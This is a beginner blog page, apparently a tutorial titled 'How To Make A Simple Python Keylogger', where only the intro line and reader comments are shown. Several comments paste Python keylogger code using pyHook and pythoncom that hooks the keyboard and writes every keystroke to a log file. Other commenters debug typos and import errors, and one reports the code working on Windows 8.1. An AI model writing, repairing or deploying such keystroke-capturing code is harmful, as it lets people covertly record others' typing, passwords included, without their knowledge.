How To Make A Simple Python Keylogger


Python is a really easy programming language for beginners. What better way to showcase it’s range of abilities than making a simple keylogger.

17 Responses


  • ishan // //

    not able to get log.txt … pls help

  • HulkHogan // //

    In regards to keylogger,

    what about ps/2 keyboards on laptops

    the “ascii” section doesnt work?

    what would you change it to?

  • Stephen // //

    I put this code in running Python 3.2.3

    import pyHook, pythoncom, sys, logging

    file_log = ‘G:\\English 10\\Adolf Hiter.txt’

    def OnKeyboardEvent(event):
    logging.baicConfig(filename=file_log, level=logging.DEBUG, format=’%(message)s’)
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

    hooks_manager = pyHook.HookManager()
    hooks_manager.KeyDown = OnKeyboardEvent
    hooks_manager.Hook.Keyboard()
    pythoncom.PumpMessages()

    I of course installed the correct pywin32 and pyhook. When i attempt to run the program, it gives me this error message:

    >>>
    Traceback (most recent call last):
    File “G:/Holocaust.pyw”, line 1, in
    import pyHook, pythoncom, sys, logging
    File “C:\Python32\lib\site-packages\pythoncom.py”, line 2, in
    import pywintypes
    ImportError: No module named pywintypes
    >>>

    any help?

    • Noah // //

      I am getting an error on the chr(event.Ascii) Here is my hole file

      import pyHook, pythoncom, sys, logging

      file_log = ‘C:\\Stuff\\log.txt’

      def OnKeyboardEvent (event) :
      logging.basicConfig (filename=file_log, level=logging.DEBUG, format=’% (message) %’
      chr(event.Ascii)
      logging.log(10,chr(event.Ascii))
      return True

      hooks_manager = pyHook.HookManager ()
      hooks_manager.KeyDown = OnKeyboardEvent
      hooks_manager.HookKeyboard ()
      pythoncom.PumpMessages()

      When I hit F5 to test I get an error please help!

      • Noah // //

        Running 3.3.2

      • son // //

        missing the parentheses at the end of the line with format…

    • #NotAHacker // //

      Just asking, but have you tried importing pywintypes?

    • Me;) // //

      Hey there Noah! I see a problem at you! let me show you my code and see if you can fix yours!

      import pyHook, pythoncom, sys, logging

      file_log = ‘C:\important\log.txt’

      def OnKeyboardEvent (event):
      logging.basicConfig(filename=file_log, level=logging.DEBUG, format=’%(message)s’)
      chr(event.Ascii)
      logging.log(10,chr(event.Ascii))
      return True

      hooks_manager= pyHook.HookManager()
      hooks_manager.KeyDown = OnKeyboardEvent
      hooks_manager.HookKeyboard()
      pythoncom.PumpMessages()

    • Eugene // //

      If you are running on a 32 bit system you must download a win32 for 32bit computers

    • imran // //

      in line 4 : >>> u wrote baicConfig.. .>>change it to basicConfig

  • Jake // //

    Im having an error as well. Heres my code:

    import pyHook, pythoncom, sys, logging

    file_log = ‘C:\\Important\\log.txt’

    def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format=ā€™%(message)sā€™)
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

    hooks_manager = pyHook.HookManager()
    hooks_manager.KeyDown = OnKeyboardEvent
    hooks_manager.Hook.Keyboard()
    pythoncom.PumpMessages()

    When I press F5, this message comes up:

    “invalid character in identifier”

    Please help…

  • gigijaponezu // //

    It worked for me pretty well. I have Windows 8.1, and I’m using an USB keyboard(my laptop keyboard is broken)

    import pyHook, pythoncom, sys, logging

    file_log = ‘C:\\important\\log.txt’

    def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format=’%(message)s’)
    chr(event.Ascii)
    logging.log(10, chr(event.Ascii))
    return True

    hooks_manager = pyHook.HookManager()
    hooks_manager.KeyDown = OnKeyboardEvent
    hooks_manager.HookKeyboard()
    pythoncom.PumpMessages()

  • Kyle // //

    keep getting the error OnKeyboardEvent is not defined!!! PLEASEEE HELPPPPP

  • Kyle // //

    Now I’m getting this error—–[Errno 2] No such file or directory: ‘C:\\important\\log.txt’

  • agentleader1 // //

    How do you do the whole thing in Python 3.3? When you do that, it’s like complety different. It doesn’t work. One reason: chr(event.Ascii) asks for a name thing. I’m really confused, somebody help me please!

  • Antster // //

    HELp

Leave a Reply